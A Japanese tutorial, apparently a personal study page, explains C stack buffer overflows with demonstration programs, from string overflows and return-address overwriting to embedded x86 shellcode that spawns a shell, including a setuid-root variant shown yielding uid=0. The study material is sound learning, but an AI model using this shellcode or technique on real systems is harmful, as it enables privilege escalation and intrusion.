ポインタの場所，読みましたが…長いですねぇ．
こんだけ書くの，大変だったでしょぉ．お疲れ様です．
教科書書いているみたいね．

突っ込み所は色々あるのですが，メモリ管理の専門家として
二つだけコメント☆．


「ちょっとした領域違反」で一番怖い例は，こんなの↓．

#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv){
  char s1[1], s2[12];

  strcpy(s1, "I had a girl friend."); // s1の領域を越えて代入．
  fprintf(stdout, "%s\n", s1);        // 『私には彼女がいました．』

  strcpy(s2, "boy friend.");          // 「彼氏」を s2 に代入
  fprintf(stdout, "%s\n", s1);        // 何が起こる？
  return 0;
}

こういうのを実行すると，うちの環境では

I had a girl friend.
I had a boy friend.

という結果が出ます．なぜだか分かります？

（因みに s1[1] とs2[14]がどれだけ離れて割り付けられるかは
　環境依存です．s2 がもっと離れる場合には s1 に入れる文を
　もっともっと長くすればおっけ〜．同じ事が起こります．）


こういう『ちょっとした違反』って，本当に見付けるのが

"Purify" っていうソフト（有料．高い．）で検出することが出来ます．

http://www-6.ibm.com/jp/software/rational/products/design/purifyp/index.html
※「メモリーの破損検出」の機能がこれに該当．

#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv){
  char s2[28],s1[5] ;

  strcpy(s1, "I always love a girl friend."); // s1の領域を越えて代入．
  fprintf(stdout, "%s\n", s1);        // 『私はいつも彼女を愛している』

  strcpy(s2, "boy friend.");          // 「彼氏」を s2 に代入
  fprintf(stdout, "%s\n", s1);        // 何が起こる？

  printf("s1 = %p : s2 = %p \n",s1,s2);

  return 0;
}

suga@jitaku[~/test]% ./test
I always love a girl friend.
I always love a boy friend.
s1 = 0xbffff790 : s2 = 0xbffff7a0

どうやら、私の環境だと変数の宣言を行った場合、
最初に宣言した方が、メモリ上のアドレスが下位になるみたい。
そこで、話をわかりやすくするため、宣言の順序を逆にしてみた。

ちなみに、なぜ、最初に宣言した方がメモリの下位になるのかについては
後述しています。

上の例で「a girl」と[a boy」を使いました事で、特定の場合は
不定冠詞の「a」ではなく、定冠詞の「the」を使うべきだという
突っ込みがあるかもしれません。
でも、ここではプログラムの領域違反を起こすために、
字数などを考えて、苦し紛れに文章を作っていますので
文法の突っ込みはやめてくださいね (^^;;

　ちょっと調べてみたら、領域違反を悪用すると、
バッファオーバフロー攻撃で、不正なスクリプトなどを
読み込ませて、悪事を働く。

……あ〜あ, ばれちゃった.
因みに私が示した例で, もう s1 にものすご〜く長い文字列
を代入すると, return のところでこけますよん.
それがバッファーオーバーフロー攻撃のやり口.


……ってやっても意味分からないと思うのでもうちょっと
だけヒントを書きますと……

   main 関数最後の "return 0" でどこに return するか？
   というアドレスが s1, s2 の後ろの方に書かれているんだけど,
   s1 に長い長い文字列を入れると, このリターンアドレスが
   上書きされるので Segmentation Fault が起こるのですね.

   不正コードを入れたい人は, このリターンアドレスを自分の
   都合の良い場所に置き換えます.

物を下から上へ積み重ねながら置いて行き、取り出す時は
上から取り出して行くという「先入れ後出し法」になっている。

スタックの話は、C言語の本やアルゴリズムに、よく出てくるのだが
実際に、どういう所で、どのように使われているのか、わからないので
上のような概念的な話だけでは、何なのか、よくわからなかった。

上位から下位へ順番に命令が実行されるのなら、別にIPレジスタは
不要ではないかと思われるかもしれません。

しかし、IPレジスタがなければ、問題が発生します。
それは現在、実行中のアドレスの位置をCPUは知らないのです。
現在、実行中の命令があるアドレスを格納するレジスタを持っていません。

そのため、IPレジスタは、次に実行する命令が、どこなのかを指す事により
どの辺りの命令を実行するのかの目印の役目も果たします。

IPレジスタの代わりに、EIPレジスタというものがある。
これはレジスタが386CPUの時に、16ビットから32ビットに拡張されたため、
接頭語「E」がついた。「E」は、拡張の意味の「Extension」だと思われる。
めんどくさいので、調べていませんが (^^;;

func1()の関数を呼び出すと、戻り先のアドレスがスタックに置かれる。
そして、func1()の関数の中から、別のfunc2()の関数を呼び出すと、
func1()に戻った時の、戻り先のアドレスが上に積み重ねられる。

関数が終了すると、戻り先のアドレスは不要になるため、撤去されていく。

ローカル変数を宣言した時に、宣言した変数の値は、スタック領域に入る。
積み重ねられるのは、変数の宣言順なので、先に宣言した変数ほど
下位のアドレスの場所に保管される事になる。

ローカル変数を宣言すればするほど、上に積み重ねられていく仕組みだ。

グローバル変数は、別のヒープ領域と呼ばれる場所に入るのだが、
ヒープ領域については、後述しています。

#include <stdio.h>

void func(void)
{
    int a = 4 ;
    printf("address = %p\n",&a);
    func();
}

int main(void)
{
    func();

    return(0);
}

再帰関数を使って無限に関数を呼び出す。
スタック領域に入るローカル変数のアドレスを表示させて、
どんどんアドレスが上位へ行く様子を見るようにしておく。

suga@jitaku[~/flow]% ./stack
address = 0xbffff7c4
address = 0xbffff7b4
address = 0xbffff7a4
(途中省略)
address = 0xbf800764
address = 0xbf800754
address = 0xbf800744
address = 0xbf800734
セグメントエラー

上位にプログラムを読み込む領域が割り当てられる。
そして、グローバル変数やmallocで確保したエリアが入る
ヒープ領域が割り当てられる。
グローバル変数などが宣言される度に、下位へ並べられる。

最下位の部分にはスタック領域が割り当てられ、
ローカル変数が宣言されたり、関数が呼び出されるたびに
上位へ積み重ねられる

#include <stdio.h>

int a = 4 ;

void func(void)
{
  int b = 2 ;
  printf("program = %p : heap = %p : stack = %p\n",func,&a,&b);
}

int main(void)
{

  func();

  return(0);
}

suga@jitaku[~/flow]% ./heap1 
program = 0x8048328 : heap = 0x8049474 : stack = 0xbffff7c4

関数func()のアドレス（プログラム領域）、グローバル変数のアドレス、
ローカル変数のアドレスが全く違う場所にある事がわかる。

まぁ、関数のアドレスと、グローバル変数のアドレスの位置は
比較的近い場所にある。

#include <stdio.h>
#include <stdlib.h>

void func(void)
{
  int b = 4 ;  /* スタック領域追加 */
  int *a ;
  a = malloc(sizeof(int)); /* ヒープ領域追加 */

  printf("heap = %p : stack = %p\n",a,&b);
  func();
}

int main(void)
{

  func();

  return(0);
}

suga@jitaku[~/flow]% ./heap2
heap = 0x80495d8 : stack = 0xbffff7c4
heap = 0x80495e8 : stack = 0xbffff7b4
heap = 0x80495f8 : stack = 0xbffff7a4
heap = 0x8049608 : stack = 0xbffff794
heap = 0x8049618 : stack = 0xbffff784
heap = 0x8049628 : stack = 0xbffff774
heap = 0x8049638 : stack = 0xbffff764
heap = 0x8049648 : stack = 0xbffff754
（以下、セグメントエラーが出るまで続く）

再帰関数で、どんどんヒープ領域とスタック領域を広げていくと、
実行結果でわかる通り、ヒープ領域は下位へ広がっていく様子が見え、
スタック領域は上位へ広がる様子がうかがえる。

関数func()を呼び出すと、func()終了後に戻るアドレスが
スタック領域に置かれる。
そして、func()で宣言されるローカル変数の値が置かれる。

#include <stdio.h>

void func(void)
{
int a[1] ;

a[0] = 5 ;  ----(1)
a[1] = 1 ;  ----(2)
}

int main(void)
{
func();
return(0);
}

配列a[]は、1つしか要素がない。
a[1] に変数を代入する時点で、メモリの領域違反になる。

確保したメモリ領域から溢れた分、下位のエリアに置かれた値が
上書きされてしまう。

（注意！）
実際には、a[5]ぐらいまでメモリ違反しないと、戻り先のアドレスまで
上書きされないのだが、ここは概念として、上の図を描きました。

#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv){
  char s2[28],s1[5] ;

  strcpy(s1, "I always love a girl friend."); // s1の領域を越えて代入．
  fprintf(stdout, "%s\n", s1);        // 『私はいつも彼女を愛している』

  strcpy(s2, "boy friend.");          // 「彼氏」を s2 に代入
  fprintf(stdout, "%s\n", s1);        // 何が起こる？

  printf("s1 = %p : s2 = %p \n",s1,s2);

  return 0;
}

赤い部分が配列の宣言。s1とs2の順序を反対にしているのは、
変数の宣言順にスタック領域に積み重ねられるため、
配列s2が、s1よりも下位のアドレスに置かれるのを意図しているためです。
最初、このソースを作った時は、スタック領域や、宣言順に
スタックに積み重ねられる事を知らなかったため、試行錯誤で
配列の宣言を逆にしてみたのだが、スタックの話を知って、
宣言の順序を反対にしたのが納得できた (^^)V

Ｙ君からもらったソースでは、配列s1の方を先に宣言している事から、
インテルx86系以外のCPUを使っていると思われる。
他のCPUの事は勉強していないので、どうなっているのかは、わかりませんが、
CPUの違いによってメモリ管理などに大きな影響があるのは事実。

#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv){
  char s2[28],s1[5] ;

  strcpy(s1, "I always love a girl friend."); // s1の領域を越えて代入．
  fprintf(stdout, "%s\n", s1);        // 『私はいつも彼女を愛している』

  strcpy(s2, "boy friend.");          // 「彼氏」を s2 に代入
  fprintf(stdout, "%s\n", s1);        // 何が起こる？

  printf("s1 = %p : s2 = %p \n",s1,s2);

  return 0;
}

配列s1に、文字列を代入するのだが、意図的に溢れさせている。
そして、出力させる際、文字列の終端はヌル文字と認識するため、
溢れた部分も含めて、出力される。

#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv){
  char s2[28],s1[5] ;

  strcpy(s1, "I always love a girl friend."); // s1の領域を越えて代入．
  fprintf(stdout, "%s\n", s1);        // 『私はいつも彼女を愛している』

  strcpy(s2, "boy friend.");          // 「彼氏」を s2 に代入
  fprintf(stdout, "%s\n", s1);        // 何が起こる？

  printf("s1 = %p : s2 = %p \n",s1,s2);

  return 0;
}

青い部分は、配列s2に文字列を代入。
この時、配列s1に代入した時に溢れ出た部分に上書きされる。

赤い部分で、配列s1を出力させるのだが、文字列の終端は
ヌル文字になるので、ヌル文字まで出力させると、
上書きされた部分が、しっかりと出力される。

「彼女を愛している」から［彼氏を愛している」に変わってしまうのだ！

#include <stdio.h>

void sub(void)
{
printf("Hello Over Flow!!\n");
exit(0);
}

void func(void)
{
int a[1] ;

a[0] = 5 ;  ----(1)
a[1] = (int)sub ;  ----(2)
}

int main(void)
{
func();
return(0);
}

配列a[]は、1つしか要素がない。
a[1] に変数を代入する時点で、メモリの領域違反になる。

配列a[1]に、関数sub()のあるアドレスを代入している。
そのため、本来ならfunc()が終わった時に、戻る先のアドレスが
関数sub()のアドレスに上書きされてしまうのだ。

（注意！）
実際には、a[5]ぐらいまでメモリ違反しないと、戻り先のアドレスまで
上書きされないのだが、ここは概念として、上の図を描きました。

#include <stdio.h>

void sub(void)
{
printf("Hello Over Flow!!\n");
exit(0);
}  /* 呼び出す予定がない関数 */

void func(void)
{
  int a[1];
  int i ;
  for ( i = 0 ; i < 5 ; i++ )
    {
    a[i] = (int)sub ;  /* 配列aに関数sub()のアドレスを代入 */
    }
}

int main(void)
{
func();
return(0);
}

suga@jitaku[~/flow]% ./overflow1
Hello Over Flow!!   ← 関数sub()の実行結果が出力された！

外部からデータを受け取るプログラムがあるとします。
受け取り先の変数を「A」とします。

外部から送るコードに、ウイルスプログラムと、
変数「A」のアドレスが記述して、変数「A」にコードを送ります。

実際に、変数「A」に送ると、上図のように変数「A」の領域から
溢れ出てしまいます。
そして、戻り先のアドレスが書かれたメモリ領域に、変数「A」の
アドレスを上書きするように仕組んでおきます。

すると、現在、実行中の関数が終了する際、本来、戻るべき先の
アドレスが、変数「A」のアドレスに書き換わっているため、
変数「A」の場所へ移動してしまい、ウイルスプログラムが
実行されてしまい危険だという。

#include <stdio.h>

void danger(void)
{
  int a[2] ;
  int i ;
    const char shellcode[] = {
          0x31, 0xc0, 0x31, 0xd2, 0xeb, 0x11, 0x5b, 0x88,
          0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c,
          0x8d, 0x4b, 0x08, 0xb0, 0x0b, 0xcd, 0x80, 0xe8,
          0xea, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e,
          0x2f, 0x73, 0x68, 0x00 } ;

     for ( i = 0 ; i < 10 ; i++ )
       {
       a[i] = (int)shellcode;
       }
}

int main(void)
{
  danger();

  return(0);
}

suga@jitaku[~/flow]% ./shell1
sh-2.05b$  ← シェルのプロンプトが出た！

suga@jitaku[~/flow]% ls -l
-rwsr-sr-x    1 root     root         4272 11月  3日  20:15 shell1

suga@jitaku[~/flow]% id
uid=1000(suga) gid=100(users) groups=100(users)
suga@jitaku[~/flow]%
suga@jitaku[~/flow]% ./shell1  ← ここでプログラム実行
sh-2.05b$ id
uid=1000(suga) gid=100(users) groups=100(users)

#include <stdio.h>

void danger(void)
{
  int a[2] ;
  int i ;
    const char shellcode[] = {
          0x31, 0xdb, 0x31, 0xc0, 0xb0, 0x17, 0xcd, 0x80,
	  0xeb, 0x18, 0x5e, 0x89, 0x76, 0x08, 0x31, 0xc0,
	  0x88, 0x46, 0x07, 0x89, 0x46, 0x0c, 0xb0, 0x0b,
	  0x89, 0xf3, 0x8d, 0x4e, 0x08, 0x8d, 0x56, 0x0c,
	  0xcd, 0x80, 0xe8, 0xe3, 0xff, 0xff, 0xff, 0x2f,
	  0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68
	  };

     for ( i = 0 ; i < 10 ; i++ )
       {
       a[i] = (int)shellcode;
       }
}

int main(void)
{
  danger();

  return(0);
}

suga@jitaku[~/flow]% ls -l
-rwsr-sr-x    1 root     root         4280 11月  3日  20:44 shell2

suga@jitaku[~/flow]% id
uid=1000(suga) gid=100(users) groups=100(users)
suga@jitaku[~/flow]%
suga@jitaku[~/flow]% ./shell2  ← ここでプログラム実行
sh-2.05b$ id
uid=0(root) gid=100(users) groups=100(users)

[suga@test]$ ftp localhost
Connected to localhost (127.0.0.1).
220 xxx.yyy.jp FTP server (Version wu-2.6.X-Y) ready.
Name (localhost:suga):

[root@test]# ps aux | grep ftp | more
suga     31768  0.0  0.7  2136  920 pts/4    S    14:31   0:00 ftp localhost
root     31769  0.2  1.5  3352 1896 ?        SN   14:31   0:00 ftpd: xxx.yyy.jp

ftp接続があった時、ftpdデーモンは、管理者権限(root)で動いている事がわかる。
ftpdの脆弱性を突いたバッファオーバーフロー攻撃に遭うと
管理者権限(root)が奪えてしまう事を意味する。

外部からの接続を認める場合は、デーモンはroot権限(管理者権限)で動かさない。